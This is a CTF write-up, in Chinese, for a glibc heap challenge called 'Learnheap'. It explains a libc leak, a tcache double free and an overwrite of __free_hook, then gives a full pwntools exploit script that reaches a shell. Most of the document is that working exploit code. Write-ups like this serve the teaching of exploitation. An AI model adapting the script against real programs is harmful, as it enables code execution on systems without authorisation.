Learnheap @Csome

Step 1. Leak Libc address.

add add free add

第一个add需要创建大于0x420的chunk0，后续绕过tcachebin

第二个add创建一个不大于0x420的chunk1，可以落到tcache里面，方便后续利用

然后free掉chunk0，进入unsortedbin，再fd bk上面写上libc内main_arena的地址

第三个add创建一个chunk2(建议与chunk1大小一样，后续有用)，将unsortedbin中的块切分一块出来，由于malloc不清空chunk，所以会导致add()函数最后的printf将main_arena地址泄露

Step 2. double free.

free free free

代码给了3次free的机会

很简单，就是将Step1中的chunk1和chunk2，交错free就行

形成chunk1->chunk2->chunk1->...

或者chunk2->chunk1->chunk2->...

即可

Step 3. hijacking __free_hook

这一步给了4个add

要求劫持free_hook

再上一步中构造了doublefree，这一步就是利用doublefree

假设上一步的堆块结构是->a->b->a->....->b->a->b->a->.....

那么第一个add申请出来的就是a，那么往a内写入__free_hook地址就会形成

->b->a->free_hook

然后再次add两次就会变成

->free_hook

再次add就分配到了free_hook上面，此时写入system地址就可以达到劫持__free_hook

Step 4. get shell!

最后一次free实现getshell

但是发现/bin/sh还没找到

回头发现在Step3中连续的两次add，浪费了，那么只需要在那两次add的时候向堆块写入/bin/sh即可

最后test全部通过

最后的Attack

由于前面已经知道了libc地址，所以只需要构造doublefree再次劫持free_hook即可

参考代码的指引一步一步实现即可

```
from pwn import *

context.log_level='debug'
# io = process(['./ld-2.27.so', './learnheap'], env={'LD_PRELOAD': './libc-
2.27.so'})
# io = process(['./ld-2.26.so', './learnheap'], env={'LD_PRELOAD': './libc-
2.26.so'})
# io = process(['./ld-2.31.so', './learnheap'], env={'LD_PRELOAD': './libc-
2.31.so'})
io = remote('0.0.0.0', 1234)

def add(idx, size, content):
    io.sendlineafter('id> ', str(idx))
    io.sendlineafter('size> ', str(size))
    io.sendlineafter('content> ', str(content))

def free(idx):
    io.sendlineafter('id> ', str(idx))

# gdb.attach(io)
add(0, 0x420, '0')
add(1, 0x20, '0')
free(0)
# io.recv()
add(2, 0x20, '')
# gdb.attach(io)
io.recvuntil('Your book: \n')

# main_arena = u64(io.recv(6).ljust(8,'\x00')) - 970 # 2.27
main_arena = u64(io.recv(6).ljust(8,'\x00')) - 1002 # 2.26
# main_arena = u64(io.recv(6).ljust(8,'\x00')) - 906 # 2.31
log.success('main_arena:'+hex(main_arena))

# libc_base = main_arena - 0x3ebc40 # 2.27
libc_base = main_arena - 0x3dac20 # 2.26
# libc_base = main_arena - 0x1ecb80  # 2.31
log.success('libc_base:'+hex(libc_base))

# libc = ELF('./libc-2.27.so')
libc = ELF('./libc-2.26.so')
# libc = ELF('./libc-2.31.so')

system_addr = libc_base + libc.sym['system']
log.success('system_addr:'+hex(system_addr))

io.sendlineafter("Let's make a test.", hex(system_addr))

# gdb.attach(io)
# add(3, 0x20, 'a')
```

```
free(1)
free(2)
free(1)
# free(2)

io.sendlineafter("Ok~,Let's make a test again.", str(0x20))

hook = libc.sym['__free_hook'] + libc_base
log.success('hook:'+hex(hook))
add(3, 0x20, p64(hook))
add(4, 0x20, '/bin/sh\x00')
add(5, 0x20, 'a')
# log.success(hex(libc.sym['__free_hook']))
add(6, 0x20, p64(system_addr))

free(4)

def add(idx, size, content):
    io.sendlineafter('> ', str(1))
    io.sendlineafter('id> ', str(idx))
    io.sendlineafter('size> ', str(size))
    io.sendlineafter('content> ', str(content))

def free(idx):
    io.sendlineafter('> ', str(3))
    io.sendlineafter('id> ', str(idx))

add(0, 0x20, 'a')
add(1, 0x20, 'a')
free(0)
free(1)
free(0)
add(3, 0x20, p64(hook))
add(4, 0x20, '/bin/sh\x00')
add(5, 0x20, 'a')
add(6, 0x20, p64(system_addr))
free(4)
# gdb.attach(io)
io.interactive()
```